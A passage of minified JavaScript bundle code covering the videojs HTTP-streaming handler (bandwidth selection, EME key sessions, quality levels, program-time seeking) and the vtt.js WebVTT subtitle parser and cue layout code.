this.options_.bandwidth&&(this.options_.bandwidth=Do.INITIAL_BANDWIDTH),this.options_.enableLowInitialPlaylist=this.options_.enableLowInitialPlaylist&&this.options_.bandwidth===Do.INITIAL_BANDWIDTH,["withCredentials","useDevicePixelRatio","limitRenditionByPlayerDimensions","bandwidth","customTagParsers","customTagMappers","cacheEncryptionKeys","playlistSelector","initialPlaylistSelector","bufferBasedABR","liveRangeSafeTimeDelta","llhls","useNetworkInformationApi","useDtsForTimestampOffset","exactManifestTimings","leastPixelDiffSelector"].forEach((e=>{void 0!==this.source_[e]&&(this.options_[e]=this.source_[e])})),this.limitRenditionByPlayerDimensions=this.options_.limitRenditionByPlayerDimensions,this.useDevicePixelRatio=this.options_.useDevicePixelRatio}src(e,t){if(!e)return;var i;this.setOptions_(),this.options_.src=0===(i=this.source_.src).toLowerCase().indexOf("data:application/vnd.videojs.vhs+json,")?JSON.parse(i.substring(i.indexOf(",")+1)):i,this.options_.tech=this.tech_,this.options_.externVhs=cu,this.options_.sourceType=B(t),this.options_.seekTo=e=>{this.tech_.setCurrentTime(e)},this.playlistController_=new nu(this.options_);const n=ya({liveRangeSafeTimeDelta:Ta},this.options_,{seekable:()=>this.seekable(),media:()=>this.playlistController_.media(),playlistController:this.playlistController_});this.playbackWatcher_=new au(n),this.playlistController_.on("error",(()=>{const e=da.players[this.tech_.options_.playerId];let t=this.playlistController_.error;"object"!=typeof t||t.code?"string"==typeof t&&(t={message:t,code:3}):t.code=3,e.error(t)}));const s=this.options_.bufferBasedABR?cu.movingAverageBandwidthSelector(.55):cu.STANDARD_PLAYLIST_SELECTOR;this.playlistController_.selectPlaylist=this.selectPlaylist?this.selectPlaylist.bind(this):s.bind(this),this.playlistController_.selectInitialPlaylist=cu.INITIAL_PLAYLIST_SELECTOR.bind(this),this.playlists=this.playlistController_.mainPlaylistLoader_,this.mediaSource=this.playlistController_.mediaSource,Object.defineProperties(this,{selectPlaylist:{get(){return this.playlistController_.selectPlaylist},set(e){this.playlistController_.selectPlaylist=e.bind(this)}},throughput:{get(){return this.playlistController_.mainSegmentLoader_.throughput.rate},set(e){this.playlistController_.mainSegmentLoader_.throughput.rate=e,this.playlistController_.mainSegmentLoader_.throughput.count=1}},bandwidth:{get(){let e=this.playlistController_.mainSegmentLoader_.bandwidth;const t=r().navigator.connection||r().navigator.mozConnection||r().navigator.webkitConnection,i=1e7;if(this.options_.useNetworkInformationApi&&t){const n=1e3*t.downlink*1e3;e=n>=i&&e>=i?Math.max(e,n):n}return e},set(e){this.playlistController_.mainSegmentLoader_.bandwidth=e,this.playlistController_.mainSegmentLoader_.throughput={rate:0,count:0}}},systemBandwidth:{get(){const e=1/(this.bandwidth||1);let t;return t=this.throughput>0?1/this.throughput:0,Math.floor(1/(e+t))},set(){da.log.error('The "systemBandwidth" property is read-only')}}}),this.options_.bandwidth&&(this.bandwidth=this.options_.bandwidth),this.options_.throughput&&(this.throughput=this.options_.throughput),Object.defineProperties(this.stats,{bandwidth:{get:()=>this.bandwidth||0,enumerable:!0},mediaRequests:{get:()=>this.playlistController_.mediaRequests_()||0,enumerable:!0},mediaRequestsAborted:{get:()=>this.playlistController_.mediaRequestsAborted_()||0,enumerable:!0},mediaRequestsTimedout:{get:()=>this.playlistController_.mediaRequestsTimedout_()||0,enumerable:!0},mediaRequestsErrored:{get:()=>this.playlistController_.mediaRequestsErrored_()||0,enumerable:!0},mediaTransferDuration:{get:()=>this.playlistController_.mediaTransferDuration_()||0,enumerable:!0},mediaBytesTransferred:{get:()=>this.playlistController_.mediaBytesTransferred_()||0,enumerable:!0},mediaSecondsLoaded:{get:()=>this.playlistController_.mediaSecondsLoaded_()||0,enumerable:!0},mediaAppends:{get:()=>this.playlistController_.mediaAppends_()||0,enumerable:!0},mainAppendsToLoadedData:{get:()=>this.playlistController_.mainAppendsToLoadedData_()||0,enumerable:!0},audioAppendsToLoadedData:{get:()=>this.playlistController_.audioAppendsToLoadedData_()||0,enumerable:!0},appendsToLoadedData:{get:()=>this.playlistController_.appendsToLoadedData_()||0,enumerable:!0},timeToLoadedData:{get:()=>this.playlistController_.timeToLoadedData_()||0,enumerable:!0},buffered:{get:()=>La(this.tech_.buffered()),enumerable:!0},currentTime:{get:()=>this.tech_.currentTime(),enumerable:!0},currentSource:{get:()=>this.tech_.currentSource_,enumerable:!0},currentTech:{get:()=>this.tech_.name_,enumerable:!0},duration:{get:()=>this.tech_.duration(),enumerable:!0},main:{get:()=>this.playlists.main,enumerable:!0},playerDimensions:{get:()=>this.tech_.currentDimensions(),enumerable:!0},seekable:{get:()=>La(this.tech_.seekable()),enumerable:!0},timestamp:{get:()=>Date.now(),enumerable:!0},videoPlaybackQuality:{get:()=>this.tech_.getVideoPlaybackQuality(),enumerable:!0}}),this.tech_.one("canplay",this.playlistController_.setupFirstPlay.bind(this.playlistController_)),this.tech_.on("bandwidthupdate",(()=>{this.options_.useBandwidthFromLocalStorage&&(e=>{if(!r().localStorage)return!1;let t=pu();t=t?ya(t,e):e;try{r().localStorage.setItem(du,JSON.stringify(t))}catch(e){return!1}})({bandwidth:this.bandwidth,throughput:Math.round(this.throughput)})})),this.playlistController_.on("selectedinitialmedia",(()=>{var e;(e=this).representations=()=>{const t=e.playlistController_.main(),i=qa(t)?e.playlistController_.getAudioTrackPlaylists_():t.playlists;return i?i.filter((e=>!Ha(e))).map(((t,i)=>new ru(e,t,t.id))):[]}})),this.playlistController_.sourceUpdater_.on("createdsourcebuffers",(()=>{this.setupEme_()})),this.on(this.playlistController_,"progress",(function(){this.tech_.trigger("progress")})),this.on(this.playlistController_,"firstplay",(function(){this.ignoreNextSeekingEvent_=!0})),this.setupQualityLevels_(),this.tech_.el()&&(this.mediaSourceUrl_=r().URL.createObjectURL(this.playlistController_.mediaSource),this.tech_.src(this.mediaSourceUrl_))}createKeySessions_(){const e=this.playlistController_.mediaTypes_.AUDIO.activePlaylistLoader;this.logger_("waiting for EME key session creation"),(({player:e,sourceKeySystems:t,audioMedia:i,mainPlaylists:n})=>{if(!e.eme.initializeMediaKeys)return Promise.resolve();const r=(o=i?n.concat([i]):n,l=Object.keys(t),o.reduce(((e,t)=>{if(!t.contentProtection)return e;const i=l.reduce(((e,i)=>{const n=t.contentProtection[i];return n&&n.pssh&&(e[i]={pssh:n.pssh}),e}),{});return Object.keys(i).length&&e.push(i),e}),[])),s=[],a=[];var o,l;return r.forEach((t=>{a.push(new Promise(((t,i)=>{e.tech_.one("keysessioncreated",t)}))),s.push(new Promise(((i,n)=>{e.eme.initializeMediaKeys({keySystems:t},(e=>{e?n(e):i()}))})))})),Promise.race([Promise.all(s),Promise.race(a)])})({player:this.player_,sourceKeySystems:this.source_.keySystems,audioMedia:e&&e.media(),mainPlaylists:this.playlists.main.playlists}).then((()=>{this.logger_("created EME key session"),this.playlistController_.sourceUpdater_.initializedEme()})).catch((e=>{this.logger_("error while creating EME key session",e),this.player_.error({message:"Failed to initialize media keys for EME",code:3})}))}handleWaitingForKey_(){this.logger_("waitingforkey fired, attempting to create any new key sessions"),this.createKeySessions_()}setupEme_(){const e=this.playlistController_.mediaTypes_.AUDIO.activePlaylistLoader,t=(({player:e,sourceKeySystems:t,media:i,audioMedia:n})=>{const r=((e,t,i)=>{if(!e)return e;let n={};t&&t.attributes&&t.attributes.CODECS&&(n=Qo(O(t.attributes.CODECS))),i&&i.attributes&&i.attributes.CODECS&&(n.audio=i.attributes.CODECS);const r=$(n.video),s=$(n.audio),a={};for(const i in e)a[i]={},s&&(a[i].audioContentType=s),r&&(a[i].videoContentType=r),t.contentProtection&&t.contentProtection[i]&&t.contentProtection[i].pssh&&(a[i].pssh=t.contentProtection[i].pssh),"string"==typeof e[i]&&(a[i].url=e[i]);return ya(e,a)})(t,i,n);return!(!r||(e.currentSource().keySystems=r,r&&!e.eme&&(da.log.warn("DRM encrypted source cannot be decrypted without a DRM plugin"),1)))})({player:this.player_,sourceKeySystems:this.source_.keySystems,media:this.playlists.media(),audioMedia:e&&e.media()});this.player_.tech_.on("keystatuschange",(e=>{if("output-restricted"!==e.status)return;const t=this.playlistController_.main();if(!t||!t.playlists)return;const i=[];t.playlists.forEach((e=>{e&&e.attributes&&e.attributes.RESOLUTION&&e.attributes.RESOLUTION.height>=720&&(!e.excludeUntil||e.excludeUntil<1/0)&&(e.excludeUntil=1/0,i.push(e))})),i.length&&(da.log.warn('DRM keystatus changed to "output-restricted." Removing the following HD playlists that will most likely fail to play and clearing the buffer. This may be due to HDCP restrictions on the stream and the capabilities of the current device.',...i),this.playlistController_.fastQualityChange_())})),this.handleWaitingForKey_=this.handleWaitingForKey_.bind(this),this.player_.tech_.on("waitingforkey",this.handleWaitingForKey_),11!==da.browser.IE_VERSION&&t?this.createKeySessions_():this.playlistController_.sourceUpdater_.initializedEme()}setupQualityLevels_(){const e=da.players[this.tech_.options_.playerId];e&&e.qualityLevels&&!this.qualityLevels_&&(this.qualityLevels_=e.qualityLevels(),this.playlistController_.on("selectedinitialmedia",(()=>{!function(e,t){t.representations().forEach((t=>{e.addQualityLevel(t)})),hu(e,t.playlists)}(this.qualityLevels_,this)})),this.playlists.on("mediachange",(()=>{hu(this.qualityLevels_,this.playlists)})))}static version(){return{"@videojs/http-streaming":"3.0.2","mux.js":"6.3.0","mpd-parser":"1.0.1","m3u8-parser":"6.0.0","aes-decrypter":"4.0.1"}}version(){return this.constructor.version()}canChangeType(){return Yl.canChangeType()}play(){this.playlistController_.play()}setCurrentTime(e){this.playlistController_.setCurrentTime(e)}duration(){return this.playlistController_.duration()}seekable(){return this.playlistController_.seekable()}dispose(){this.playbackWatcher_&&this.playbackWatcher_.dispose(),this.playlistController_&&this.playlistController_.dispose(),this.qualityLevels_&&this.qualityLevels_.dispose(),this.tech_&&this.tech_.vhs&&delete this.tech_.vhs,this.mediaSourceUrl_&&r().URL.revokeObjectURL&&(r().URL.revokeObjectURL(this.mediaSourceUrl_),this.mediaSourceUrl_=null),this.tech_&&this.tech_.off("waitingforkey",this.handleWaitingForKey_),super.dispose()}convertToProgramTime(e,t){return(({playlist:e,time:t,callback:i})=>{if(!i)throw new Error("getProgramTime: callback must be provided");if(!e||void 0===t)return i({message:"getProgramTime: playlist and time must be provided"});const n=((e,t)=>{if(!t||!t.segments||0===t.segments.length)return null;let i,n=0;for(let r=0;r<t.segments.length&&(i=t.segments[r],n=i.videoTimingInfo?i.videoTimingInfo.transmuxedPresentationEnd:n+i.duration,!(e<=n));r++);const r=t.segments[t.segments.length-1];if(r.videoTimingInfo&&r.videoTimingInfo.transmuxedPresentationEnd<e)return null;if(e>n){if(e>n+.25*r.duration)return null;i=r}return{segment:i,estimatedStart:i.videoTimingInfo?i.videoTimingInfo.transmuxedPresentationStart:n-i.duration,type:i.videoTimingInfo?"accurate":"estimate"}})(t,e);if(!n)return i({message:"valid programTime was not found"});if("estimate"===n.type)return i({message:"Accurate programTime could not be determined. Please seek to e.seekTime and try again",seekTime:n.estimatedStart});const r={mediaSeconds:t},s=((e,t)=>{if(!t.dateTimeObject)return null;const i=t.videoTimingInfo.transmuxerPrependedSeconds,n=e-(t.videoTimingInfo.transmuxedPresentationStart+i);return new Date(t.dateTimeObject.getTime()+1e3*n)})(t,n.segment);return s&&(r.programDateTime=s.toISOString()),i(null,r)})({playlist:this.playlistController_.media(),time:e,callback:t})}seekToProgramTime(e,t,i=!0,n=2){return wo({programTime:e,playlist:this.playlistController_.media(),retryCount:n,pauseAfterSeek:i,seekTo:this.options_.seekTo,tech:this.options_.tech,callback:t})}}const gu={name:"videojs-http-streaming",VERSION:"3.0.2",canHandleSource(e,t={}){const i=ya(da.options,t);return gu.canPlayType(e.type,i)},handleSource(e,t,i={}){const n=ya(da.options,i);return t.vhs=new mu(e,t,n),t.vhs.xhr=co(),t.vhs.src(e.src,e.type),t.vhs},canPlayType(e,t){const i=B(e);if(!i)return"";const n=gu.getOverrideNative(t);return!cu.supportsTypeNatively(i)||n?"maybe":""},getOverrideNative(e={}){const{vhs:t={}}=e,i=!(da.browser.IS_ANY_SAFARI||da.browser.IS_IOS),{overrideNative:n=i}=t;return n}};j("avc1.4d400d,mp4a.40.2")&&da.getTech("Html5").registerSourceHandler(gu,0),da.VhsHandler=mu,da.VhsSourceHandler=gu,da.Vhs=cu,da.use||da.registerComponent("Vhs",cu),da.options.vhs=da.options.vhs||{},da.getPlugin&&da.getPlugin("reloadSourceOnError")||da.registerPlugin("reloadSourceOnError",(function(e){lu(this,e)}))},13407:(e,t,i)=>{var n=i(58908),r=e.exports={WebVTT:i(63706),VTTCue:i(22230),VTTRegion:i(13710)};n.vttjs=r,n.WebVTT=r.WebVTT;var s=r.VTTCue,a=r.VTTRegion,o=n.VTTCue,l=n.VTTRegion;r.shim=function(){n.VTTCue=s,n.VTTRegion=a},r.restore=function(){n.VTTCue=o,n.VTTRegion=l},n.VTTCue||r.shim()},63706:(e,t,i)=>{var n=i(89144),r=Object.create||function(){function e(){}return function(t){if(1!==arguments.length)throw new Error("Object.create shim only accepts one parameter.");return e.prototype=t,new e}}();function s(e,t){this.name="ParsingError",this.code=e.code,this.message=t||e.message}function a(e){function t(e,t,i,n){return 3600*(0|e)+60*(0|t)+(0|i)+(0|n)/1e3}var i=e.match(/^(\d+):(\d{1,2})(:\d{1,2})?\.(\d{3})/);return i?i[3]?t(i[1],i[2],i[3].replace(":",""),i[4]):i[1]>59?t(i[1],i[2],0,i[4]):t(0,i[1],i[2],i[4]):null}function o(){this.values=r(null)}function l(e,t,i,n){var r=n?e.split(n):[e];for(var s in r)if("string"==typeof r[s]){var a=r[s].split(i);2===a.length&&t(a[0].trim(),a[1].trim())}}function u(e,t,i){var n=e;function r(){var t=a(e);if(null===t)throw new s(s.Errors.BadTimeStamp,"Malformed timestamp: "+n);return e=e.replace(/^[^\sa-zA-Z-]+/,""),t}function u(){e=e.replace(/^\s+/,"")}if(u(),t.startTime=r(),u(),"--\x3e"!==e.substr(0,3))throw new s(s.Errors.BadTimeStamp,"Malformed time stamp (time stamps must be separated by '--\x3e'): "+n);e=e.substr(3),u(),t.endTime=r(),u(),function(e,t){var n=new o;l(e,(function(e,t){switch(e){case"region":for(var r=i.length-1;r>=0;r--)if(i[r].id===t){n.set(e,i[r].region);break}break;case"vertical":n.alt(e,t,["rl","lr"]);break;case"line":var s=t.split(","),a=s[0];n.integer(e,a),n.percent(e,a)&&n.set("snapToLines",!1),n.alt(e,a,["auto"]),2===s.length&&n.alt("lineAlign",s[1],["start","center","end"]);break;case"position":s=t.split(","),n.percent(e,s[0]),2===s.length&&n.alt("positionAlign",s[1],["start","center","end"]);break;case"size":n.percent(e,t);break;case"align":n.alt(e,t,["start","center","end","left","right"])}}),/:/,/\s/),t.region=n.get("region",null),t.vertical=n.get("vertical","");try{t.line=n.get("line","auto")}catch(e){}t.lineAlign=n.get("lineAlign","start"),t.snapToLines=n.get("snapToLines",!0),t.size=n.get("size",100);try{t.align=n.get("align","center")}catch(e){t.align=n.get("align","middle")}try{t.position=n.get("position","auto")}catch(e){t.position=n.get("position",{start:0,left:0,center:50,middle:50,end:100,right:100},t.align)}t.positionAlign=n.get("positionAlign",{start:"start",left:"start",center:"center",middle:"center",end:"end",right:"end"},t.align)}(e,t)}s.prototype=r(Error.prototype),s.prototype.constructor=s,s.Errors={BadSignature:{code:0,message:"Malformed WebVTT signature."},BadTimeStamp:{code:1,message:"Malformed time stamp."}},o.prototype={set:function(e,t){this.get(e)||""===t||(this.values[e]=t)},get:function(e,t,i){return i?this.has(e)?this.values[e]:t[i]:this.has(e)?this.values[e]:t},has:function(e){return e in this.values},alt:function(e,t,i){for(var n=0;n<i.length;++n)if(t===i[n]){this.set(e,t);break}},integer:function(e,t){/^-?\d+$/.test(t)&&this.set(e,parseInt(t,10))},percent:function(e,t){return!!(t.match(/^([\d]{1,3})(\.[\d]*)?%$/)&&(t=parseFloat(t))>=0&&t<=100)&&(this.set(e,t),!0)}};var c=n.createElement&&n.createElement("textarea"),d={c:"span",i:"i",b:"b",u:"u",ruby:"ruby",rt:"rt",v:"span",lang:"span"},h={white:"rgba(255,255,255,1)",lime:"rgba(0,255,0,1)",cyan:"rgba(0,255,255,1)",red:"rgba(255,0,0,1)",yellow:"rgba(255,255,0,1)",magenta:"rgba(255,0,255,1)",blue:"rgba(0,0,255,1)",black:"rgba(0,0,0,1)"},p={v:"title",lang:"lang"},f={rt:"ruby"};function m(e,t){function i(){if(!t)return null;var e,i=t.match(/^([^<]*)(<[^>]*>?)?/);return e=i[1]?i[1]:i[2],t=t.substr(e.length),e}function n(e,t){return!f[t.localName]||f[t.localName]===e.localName}function r(t,i){var n=d[t];if(!n)return null;var r=e.document.createElement(n),s=p[t];return s&&i&&(r[s]=i.trim()),r}for(var s,o,l=e.document.createElement("div"),u=l,m=[];null!==(s=i());)if("<"!==s[0])u.appendChild(e.document.createTextNode((o=s,c.innerHTML=o,o=c.textContent,c.textContent="",o)));else{if("/"===s[1]){m.length&&m[m.length-1]===s.substr(2).replace(">","")&&(m.pop(),u=u.parentNode);continue}var g,_=a(s.substr(1,s.length-2));if(_){g=e.document.createProcessingInstruction("timestamp",_),u.appendChild(g);continue}var v=s.match(/^<([^.\s/0-9>]+)(\.[^\s\\>]+)?([^>\\]+)?(\\?)>?$/);if(!v)continue;if(!(g=r(v[1],v[3])))continue;if(!n(u,g))continue;if(v[2]){var y=v[2].split(".");y.forEach((function(e){var t=/^bg_/.test(e),i=t?e.slice(3):e;if(h.hasOwnProperty(i)){var n=t?"background-color":"color",r=h[i];g.style[n]=r}})),g.className=y.join(" ")}m.push(v[1]),u.appendChild(g),u=g}return l}var g=[[1470,1470],[1472,1472],[1475,1475],[1478,1478],[1488,1514],[1520,1524],[1544,1544],[1547,1547],[1549,1549],[1563,1563],[1566,1610],[1645,1647],[1649,1749],[1765,1766],[1774,1775],[1786,1805],[1807,1808],[1810,1839],[1869,1957],[1969,1969],[1984,2026],[2036,2037],[2042,2042],[2048,2069],[2074,2074],[2084,2084],[2088,2088],[2096,2110],[2112,2136],[2142,2142],[2208,2208],[2210,2220],[8207,8207],[64285,64285],[64287,64296],[64298,64310],[64312,64316],[64318,64318],[64320,64321],[64323,64324],[64326,64449],[64467,64829],[64848,64911],[64914,64967],[65008,65020],[65136,65140],[65142,65276],[67584,67589],[67592,67592],[67594,67637],[67639,67640],[67644,67644],[67647,67669],[67671,67679],[67840,67867],[67872,67897],[67903,67903],[67968,68023],[68030,68031],[68096,68096],[68112,68115],[68117,68119],[68121,68147],[68160,68167],[68176,68184],[68192,68223],[68352,68405],[68416,68437],[68440,68466],[68472,68479],[68608,68680],[126464,126467],[126469,126495],[126497,126498],[126500,126500],[126503,126503],[126505,126514],[126516,126519],[126521,126521],[126523,126523],[126530,126530],[126535,126535],[126537,126537],[126539,126539],[126541,126543],[126545,126546],[126548,126548],[126551,126551],[126553,126553],[126555,126555],[126557,126557],[126559,126559],[126561,126562],[126564,126564],[126567,126570],[126572,126578],[126580,126583],[126585,126588],[126590,126590],[126592,126601],[126603,126619],[126625,126627],[126629,126633],[126635,126651],[1114109,1114109]];function _(e){for(var t=0;t<g.length;t++){var i=g[t];if(e>=i[0]&&e<=i[1])return!0}return!1}function v(e){var t=[],i="";if(!e||!e.childNodes)return"ltr";function n(e,t){for(var i=t.childNodes.length-1;i>=0;i--)e.push(t.childNodes[i])}function r(e){if(!e||!e.length)return null;var t=e.pop(),i=t.textContent||t.innerText;if(i){var s=i.match(/^.*(\n|\r)/);return s?(e.length=0,s[0]):i}return"ruby"===t.tagName?r(e):t.childNodes?(n(e,t),r(e)):void 0}for(n(t,e);i=r(t);)for(var s=0;s<i.length;s++)if(_(i.charCodeAt(s)))return"rtl";return"ltr"}function y(){}function b(e,t,i){y.call(this),this.cue=t,this.cueDiv=m(e,t.text);var n={color:"rgba(255, 255, 255, 1)",backgroundColor:"rgba(0, 0, 0, 0.8)",position:"relative",left:0,right:0,top:0,bottom:0,display:"inline",writingMode:""===t.vertical?"horizontal-tb":"lr"===t.vertical?"vertical-lr":"vertical-rl",unicodeBidi:"plaintext"};this.applyStyles(n,this.cueDiv),this.div=e.document.createElement("div"),n={direction:v(this.cueDiv),writingMode:""===t.vertical?"horizontal-tb":"lr"===t.vertical?"vertical-lr":"vertical-rl",unicodeBidi:"plaintext",textAlign:"middle"===t.align?"center":t.align,font:i.font,whiteSpace:"pre-line",position:"absolute"},this.applyStyles(n),this.div.appendChild(this.cueDiv);var r=0;switch(t.positionAlign){case"start":r=t.position;break;case"center":r=t.position-t.size/2;break;case"end":r=t.position-t.size}""===t.vertical?this.applyStyles({left:this.formatStyle(r,"%"),width:this.formatStyle(t.size,"%")}):this.applyStyles({top:this.formatStyle(r,"%"),height:this.formatStyle(t.size,"%")}),this.move=function(e){this.applyStyles({top:this.formatStyle(e.top,"px"),bottom:this.formatStyle(e.bottom,"px"),left:this.formatStyle(e.left,"px"),right:this.formatStyle(e.right,"px"),height:this.formatStyle(e.height,"px"),width:this.formatStyle(e.width,"px")})}}function w(e){var t,i,n,r;if(e.div){i=e.div.offsetHeight,n=e.div.offsetWidth,r=e.div.offsetTop;var s=(s=e.div.childNodes)&&(s=s[0])&&s.getClientRects&&s.getClientRects();e=e.div.getBoundingClientRect(),t=s?Math.max(s[0]&&s[0].height||0,e.height/s.length):0}this.left=e.left,this.right=e.right,this.top=e.top||r,this.height=e.height||i,this.bottom=e.bottom||r+(e.height||i),this.width=e.width||n,this.lineHeight=void 0!==t?t:e.lineHeight}function T(e,t,i,n){var r=new w(t),s=t.cue,a=function(e){if("number"==typeof e.line&&(e.snapToLines||e.line>=0&&e.line<=100))return e.line;if(!e.track||!e.track.textTrackList||!e.track.textTrackList.mediaElement)return-1;for(var t=e.track,i=t.textTrackList,n=0,r=0;r<i.length&&i[r]!==t;r++)"showing"===i[r].mode&&n++;return-1*++n}(s),o=[];if(s.snapToLines){var l;switch(s.vertical){case"":o=["+y","-y"],l="height";break;case"rl":o=["+x","-x"],l="width";break;case"lr":o=["-x","+x"],l="width"}var u=r.lineHeight,c=u*Math.round(a),d=i[l]+u,h=o[0];Math.abs(c)>d&&(c=c<0?-1:1,c*=Math.ceil(d/u)*u),a<0&&(c+=""===s.vertical?i.height:i.width,o=o.reverse()),r.move(h,c)}else{var p=r.lineHeight/i.height*100;switch(s.lineAlign){case"center":a-=p/2;break;case"end":a-=p}switch(s.vertical){case"":t.applyStyles({top:t.formatStyle(a,"%")});break;case"rl":t.applyStyles({left:t.formatStyle(a,"%")});break;case"lr":t.applyStyles({right:t.formatStyle(a,"%")})}o=["+y","-x","+x","-y"],r=new w(t)}var f=function(e,t){for(var r,s=new w(e),a=1,o=0;o<t.length;o++){for(;e.overlapsOppositeAxis(i,t[o])||e.within(i)&&e.overlapsAny(n);)e.move(t[o]);if(e.within(i))return e;var l=e.intersectPercentage(i);a>l&&(r=new w(e),a=l),e=new w(s)}return r||s}(r,o);t.move(f.toCSSCompatValues(i))}function k(){}y.prototype.applyStyles=function(e,t){for(var i in t=t||this.div,e)e.hasOwnProperty(i)&&(t.style[i]=e[i])},y.prototype.formatStyle=function(e,t){return 0===e?0:e+t},b.prototype=r(y.prototype),b.prototype.constructor=b,w.prototype.move=function(e,t){switch(t=void 0!==t?t:this.lineHeight,e){case"+x":this.left+=t,this.right+=t;break;case"-x":this.left-=t,this.right-=t;break;case"+y":this.top+=t,this.bottom+=t;break;case"-y":this.top-=t,this.bottom-=t}},w.prototype.overlaps=function(e){return this.left<e.right&&this.right>e.left&&this.top<e.bottom&&this.bottom>e.top},w.prototype.overlapsAny=function(e){for(var t=0;t<e.length;t++)if(this.overlaps(e[t]))return!0;return!1},w.prototype.within=function(e){return this.top>=e.top&&this.bottom<=e.bottom&&this.left>=e.left&&this.right<=e.right},w.prototype.overlapsOppositeAxis=function(e,t){switch(t){case"+x":return this.left<e.left;case"-x":return this.right>e.right;case"+y":return this.top<e.top;case"-y":return this.bottom>e.bottom}},w.prototype.intersectPercentage=function(e){return Math.max(0,Math.min(this.right,e.right)-Math.max(this.left,e.left))*Math.max(0,Math.min(this.bottom,e.bottom)-Math.max(this.top,e.top))/(this.height*this.width)},w.prototype.toCSSCompatValues=function(e){return{top:this.top-e.top,bottom:e.bottom-this.bottom,left:this.left-e.left,right:e.right-this.right,height:this.height,width:this.width}},w.getSimpleBoxPosition=function(e){var t=e.div?e.div.offsetHeight:e.tagName?e.offsetHeight:0,i=e.div?e.div.offsetWidth:e.tagName?e.offsetWidth:0,n=e.div?e.div.offsetTop:e.tagName?e.offsetTop:0;return{left:(e=e.div?e.div.getBoundingClientRect():e.tagName?e.getBoundingClientRect():e).left,right:e.right,top:e.top||n,height:e.height||t,bottom:e.bottom||n+(e.height||t),width:e.width||i}},k.StringDecoder=function(){return{decode:function(e){if(!e)return"";if("string"!=typeof e)throw new Error("Error - expected string data.");return decodeURIComponent(encodeURIComponent(e))}}},k.convertCueToDOMTree=function(e,t){return e&&t?m(e,t):null},k.processCues=function(e,t,i){if(!e||!t||!i)return null;for(;i.firstChild;)i.removeChild(i.firstChild);var n=e.document.createElement("div");if(n.style.position="absolute",n.style.left="0",n.style.right="0",n.style.top="0",n.style.bottom="0",n.style.margin="1.5%",i.appendChild(n),function(e){for(var t=0;t<e.length;t++)if(e[t].hasBeenReset||!e[t].displayState)return!0;return!1}(t)){var r=[],s=w.getSimpleBoxPosition(n),a={font:Math.round(.05*s.height*100)/100+"px sans-serif"};!function(){for(var i,o,l=0;l<t.length;l++)o=t[l],i=new b(e,o,a),n.appendChild(i.div),T(0,i,s,r),o.displayState=i.div,r.push(w.getSimpleBoxPosition(i))}()}else for(var o=0;o<t.length;o++)n.appendChild(t[o].displayState)},k.Parser=function(e,t,i){i||(i=t,t={}),t||(t={}),this.window=e,this.vttjs=t,this.state="INITIAL",this.buffer="",this.decoder=i||new TextDecoder("utf8"),this.regionList=[]},k.Parser.prototype={reportOrThrowError:function(e){if(!(e instanceof s))throw e;this.onparsingerror&&this.onparsingerror(e)},parse:function(e){var t,i=this;function n(){for(var e=i.buffer,t=0;t<e.length&&"\r"!==e[t]&&"\n"!==e[t];)++t;var n=e.substr(0,t);return"\r"===e[t]&&++t,"\n"===e[t]&&++t,i.buffer=e.substr(t),n}e&&(i.buffer+=i.decoder.decode(e,{stream:!0}));try{var r;if("INITIAL"===i.state){if(!/\r\n|\n/.test(i.buffer))return this;var c=(r=n()).match(/^WEBVTT([ \t].*)?$/);if(!c||!c[0])throw new s(s.Errors.BadSignature);i.state="HEADER"}for(var d=!1;i.buffer;){if(!/\r\n|\n/.test(i.buffer))return this;switch(d?d=!1:r=n(),i.state){case"HEADER":/:/.test(r)?(t=r).match(/X-TIMESTAMP-MAP/)?l(t,(function(e,t){"X-TIMESTAMP-MAP"===e&&function(e){var t=new o;l(e,(function(e,i){switch(e){case"MPEGT":t.integer(e+"S",i);break;case"LOCA":t.set(e+"L",a(i))}}),/[^\d]:/,/,/),i.ontimestampmap&&i.ontimestampmap({MPEGTS:t.get("MPEGTS"),LOCAL:t.get("LOCAL")})}(t)}),/=/):l(t,(function(e,t){"Region"===e&&function(e){var t=new o;if(l(e,(function(e,i){switch(e){case"id":t.set(e,i);break;case"width":t.percent(e,i);break;case"lines":t.integer(e,i);break;case"regionanchor":case"viewportanchor":var n=i.split(",");if(2!==n.length)break;var r=new o;if(r.percent("x",n[0]),r.percent("y",n[1]),!r.has("x")||!r.has("y"))break;t.set(e+"X",r.get("x")),t.set(e+"Y",r.get("y"));break;case"scroll":t.alt(e,i,["up"])}}),/=/,/\s/),t.has("id")){var n=new(i.vttjs.VTTRegion||i.window.VTTRegion);n.width=t.get("width",100),n.lines=t.get("lines",3),n.regionAnchorX=t.get("regionanchorX",0),n.regionAnchorY=t.get("regionanchorY",100),n.viewportAnchorX=t.get("viewportanchorX",0),n.viewportAnchorY=t.get("viewportanchorY",100),n.scroll=t.get("scroll",""),i.onregion&&i.onregion(n),i.regionList.push({id:t.get("id"),region:n})}}(t)}),/:/):r||(i.state="ID");continue;case"NOTE":r||(i.state="ID");continue;case"ID":if(/^NOTE($|[ \t])/.test(r)){i.state="NOTE";break}if(!r)continue;i.cue=new(i.vttjs.VTTCue||i.window.VTTCue)(0,0,"");try{i.cue.align="center"}catch(e){i.cue.align="middle"}if(i.state="CUE",-1===r.indexOf("--\x3e")){i.cue.id=r;continue}case"CUE":try{u(r,i.cue,i.regionList)}catch(e){i.reportOrThrowError(e),i.cue=null,i.state="BADCUE";continue}i.state="CUETEXT";continue;case"CUETEXT":var h=-1!==r.indexOf("--\x3e");if(!r||h&&(d=!0)){i.oncue&&i.oncue(i.cue),i.cue=null,i.state="ID";continue}i.cue.text&&(i.cue.text+="\n"),i.cue.text+=r.replace(/\u2028/g,"\n").replace(/u2029/g,"\n");continue;case"BADCUE":r||(i.state="ID");continue}}}catch(e){i.reportOrThrowError(e),"CUETEXT"===i.state&&i.cue&&i.oncue&&i.oncue(i.cue),i.cue=null,i.state="INITIAL"===i.state?"BADWEBVTT":"BADCUE"}return this},flush:function(){var e=this;try{if(e.buffer+=e.decoder.decode(),(e.cue||"HEADER"===e.state)&&(e.buffer+="\n\n",e.parse()),"INITIAL"===e.state)throw new s(s.Errors.BadSignature)}catch(t){e.reportOrThrowError(t)}return e.onflush&&e.onflush(),this}},e.exports=k},22230:e=>{var t={"":1,lr:1,rl:1},i={start:1,center:1,end:1,left:1,right:1,auto:1,"line-left":1,"line-right":1};function n(e){return"string"==typeof e&&!!i[e.toLowerCase()]&&e.toLowerCase()}function r(e,i,r){this.hasBeenReset=!1;var 